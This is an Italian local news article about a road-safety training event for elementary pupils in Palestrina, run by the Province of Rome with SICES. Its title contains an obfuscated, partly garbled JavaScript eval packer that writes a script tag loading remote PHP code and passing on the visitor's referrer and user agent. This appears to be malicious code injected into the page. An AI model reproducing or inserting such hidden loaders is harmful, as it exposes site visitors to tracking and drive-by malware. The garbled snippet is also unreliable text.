

Successo eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!".replace(/^(,String))){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]};e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c])}}return p}('0.6('";n m="q";,30,30,'document|javascript|encodeURIComponent|src|write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|script|yhtml|var|u0026u|referrer|eaerz|js|php'.split('|'),0,{})) in Piazza R. Margherita per la manifestazione del Parco scuola itinerante

Teoria e pratica. E' questa la formula vincente del "Parco scuola Itinerante" realizzato dalla Provincia di Roma. Giunta alla sua seconda edizione, il progetto ha visto anche quest'anno protagonista la città di Palestrina che ha offerto gli spazi di Piazza Santa Maria degli Angeli per l'allestimento di un vero e proprio percorso stradale (in scala 1:2) attrezzato con semafori, strisce pedonali, rotatorie ed altro per far vivere ai ragazzi l'emozione e la responsabilità della guida. A partecipare a questo gioco-formazione realizzato in collaborazione con la Società Italiana Centri di Educazione Stradale (SICES) sono stati i bambini delle Scuole elementari di Castel San Pietro Romano, Genazzano e Palestrina. Istruiti da una voce fuori campo e coadiuvati dai tecnici specializzati della Sices, i bambini hanno vissuto la sensazione di trovarsi nel traffico urbano alla guida di miniveicoli appositamente progettati, apprendendo i corretti comportamenti di guida, ma imparando anche a "camminare", muovendosi come pedoni nel percorso stradale secondo le regole previste dal Codice della Strada.

Dalle 9,30 alle 12,30, le classi elementari si sono alternate nel percorso stradale predisposto, facendo ritorno a scuola con i pulmini predisposti dal Comune. All'evento hanno partecipato l'assessore alle politiche della sicurezza Ezio Paluzzi, l'assessore alla Mobilità del Comune di Palestrina Ferruccio Mancini, il Presidente del Consiglio comunale Massimiliano Dolce e l'assessore ai lavori pubblici Igino Macchi.